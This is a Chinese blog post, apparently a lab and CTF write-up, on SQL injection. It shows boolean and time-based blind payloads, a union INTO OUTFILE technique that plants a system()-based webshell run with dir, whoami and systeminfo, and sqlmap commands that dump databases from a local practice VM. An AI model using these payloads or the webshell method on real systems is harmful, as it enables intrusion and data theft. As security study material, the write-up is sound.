布尔盲注实例,时间盲注,控制网站,sqlmap工具的使用。

布尔盲注实例

以ctf_show第四关为例。
image.png
按下F12,获得一个get请求的api,打开postman。
image.png
能够得到对应的json,说明是一个api。
image.png
这里id=1’and 1=2– -正常回显结果为空,id=1’and 1=1– -正常回显显示id=1的结果。闭合之后再去进行测试,否则就会报错。
image.png
image.png
查询数据库开头第一个字母是不是r。
image.png
这里直接用大于,小于进行判断第一个首字母。
image.png
直接换成昨天写好的布尔盲注的脚本,url换成该题目的api。
image.png
因为输入id=1结果会出现admin,在if这里可以输入admin。
image.png
输出结果正常
image.png
之后就去各个去爆就好了,爆表,爆字段这些:
image.png
flag结果展示:
image.png
运行与调试
可以查看到每一步代码的运行过程。
image.png

时间盲注(睡眠盲注)

发现不管输入什么都是直接显示。
image.png

1
2
3
id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))-- -#三元运算,第一个表示条件,第二个1表示成功的时候,sleep(5)表示失败就休息
SELECT BENCHMARK(1000000, SHA1('Hello World'));
id=1' and If(ascii(substr(database(),1,1))=114,1,BENCHMARK(5000000, SHA1('Hello World')))-- -

可以看到当=115时马上就显示
image.png
可以看到当=114时一直处于加载状态,之后才出现结果。
image.png
直接用时间盲注的脚本。
时延盲注1.py
image.png

控制网站

?id=-1’ union select 1,@@datadir,3– -显示phpstudy的网站根目录。
image.png
secure_file_priv=””将这段代码放入my.ini的[client]的上一行。这个文本的位置在phpstudy的设置中,点击配置文件,mysql.ini。
image.png
之后输入这段代码:
?id=-1’ union select 1,@@datadir,@@secure_file_priv – -,password这里显示为空说明可以注入,在没有这个secure_file_priv=””时password显示的是NULL。NULL代表不能在任何地方注入文件。
image.png
?id=-1’ union select 1,@@datadir,”“ into outfile “C:\phpstudy_pro\WWW\phpinfo.php” – -
image.png
此时在www的根目录下产生了phpinfo.php。
image.png
?id=-1’ union select 1,@@datadir,”“ into outfile “C:\phpstudy_pro\WWW\tfk.php” – -#在windows中用//表示/。第一个/表示转义符,两个/才能表示本身的含义。system表示系统命令执行函数,这个函数通过get参数进行执行,创造了一个webshell后台。

打开网站输入?a=dir
image.png
打开网站输入?a=whoami
image.png
打开网站输入?a=systeminfo输出系统的基本信息
image.png

sqlmap的使用

sqlmap的使用

1.下载sqlmap的压缩包,附件如下
sqlmap-1.7.zip
2.在解压缩后的sqlmap文件夹的路径下输入cmd,进入命令行模式。
image.png
3.输入sqlmap -h可以查看sqlmap的帮助信息和参数列表,以便正确使用该工具执行各种SQL注入测试和攻击。
4.因为主机上执行sqlmap命令时产生了奇怪的报错,转用虚拟机。以sqli的第一关为例,保证虚拟机win10hei和kali都是桥接模式,保证他俩的IP地址在同一网段。在kali的命令行输入爆库命令 sqlmap -u "[http://192.168.2.118/sqli/Less-1/?id=1"](http://192.168.2.70/sqli/Less-1/?id=1") --dbs,得到库名。注意192.168.2.118是win10hei的IP地址。
image.png
5.输入爆表命令:sqlmap -u "[http://192.168.2.118/sqli/Less-1/?id=1"](http://192.168.2.70/sqli/Less-1/?id=1") --batch -D security --tables
image.png
6.输入爆字段名命令sqlmap -u "[http://192.168.2.118/sqli/Less-1/?id=1"](http://192.168.2.70/sqli/Less-1/?id=1") --batch -D security -T users --columns
image.png
7.输入爆字段命令sqlmap -u "[http://192.168.2.118/sqli/Less-1/?id=1"](http://192.168.2.70/sqli/Less-1/?id=1") --batch -D security -T users -C "id,username" --dump
image.pngpost请求:
以第11关为例:
image.png
打开yakit免配置启动。
输入虚拟机的ip地址进入第11关。
image.png
用yakit进行抓包发送到web fuzzer
image.png
将1.txt保存下来存在sqlmap的上一级目录中
输入命令:

1
2
python sqlmap.py -r "../1.txt"  --dbs --batch
增加等级与风险: python sqlmap.py -r "../1.txt" --dbs --batch --level=5 --risk=3

此时爆出数据库。
image.png

Contents
  1. 1. 布尔盲注实例
  2. 2. 时间盲注(睡眠盲注)
  3. 3. 控制网站
  4. 4. sqlmap的使用
  5. 5. sqlmap的使用
|